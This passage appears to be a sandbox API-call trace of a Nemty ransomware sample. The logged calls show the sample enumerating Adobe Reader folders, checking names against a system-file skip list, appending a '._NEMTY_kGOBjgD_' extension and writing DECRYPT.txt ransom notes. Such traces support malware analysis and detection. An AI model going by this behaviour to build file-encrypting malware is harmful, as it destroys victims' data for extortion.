lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xe790, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xe790, lpOverlapped=0x0) returned 1 [0173.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.134] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=59286, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe796 [0173.134] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.134] CloseHandle (hObject=0x3b0) returned 1 [0173.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.134] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html._nemty_kgobjgd_")) returned 1 [0173.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.135] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad1ddb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ad1ddb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ad1ddb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.135] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.136] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad1ddb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ad1ddb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ad1ddb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.136] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.136] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0173.136] lstrcmpiW (lpString1="RUS", lpString2=".") returned 1 [0173.136] lstrcmpiW (lpString1="RUS", lpString2="..") returned 1 [0173.136] lstrcmpiW (lpString1="RUS", lpString2="...") returned 1 [0173.136] lstrcmpiW (lpString1="RUS", lpString2="windows") returned -1 [0173.136] lstrcmpiW (lpString1="RUS", lpString2="$RECYCLE.BIN") returned 1 [0173.136] lstrcmpiW (lpString1="RUS", lpString2="rsa") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="NTDETECT.COM") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="ntldr") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="MSDOS.SYS") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="IO.SYS") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="boot.ini") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="boot.ini") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="AUTOEXEC.BAT") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="ntuser.dat") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="desktop.ini") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="CONFIG.SYS") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="RECYCLER") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="BOOTSECT.BAK") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="bootmgr") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="programdata") returned 1 [0173.137] lstrcmpiW (lpString1="RUS", lpString2="appdata") returned 1 [0173.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUS", lpUsedDefaultChar=0x0) returned 3 [0173.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUS", lpUsedDefaultChar=0x0) returned 3 [0173.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.138] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.138] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.139] CloseHandle (hObject=0x254) returned 1 [0173.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.141] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.141] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.141] CloseHandle (hObject=0x254) returned 1 [0173.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.142] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ad6a070, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ad6a070, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.142] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.142] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ad6a070, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ad6a070, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.142] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.142] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.142] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.142] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.143] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.143] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.143] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.143] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.143] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 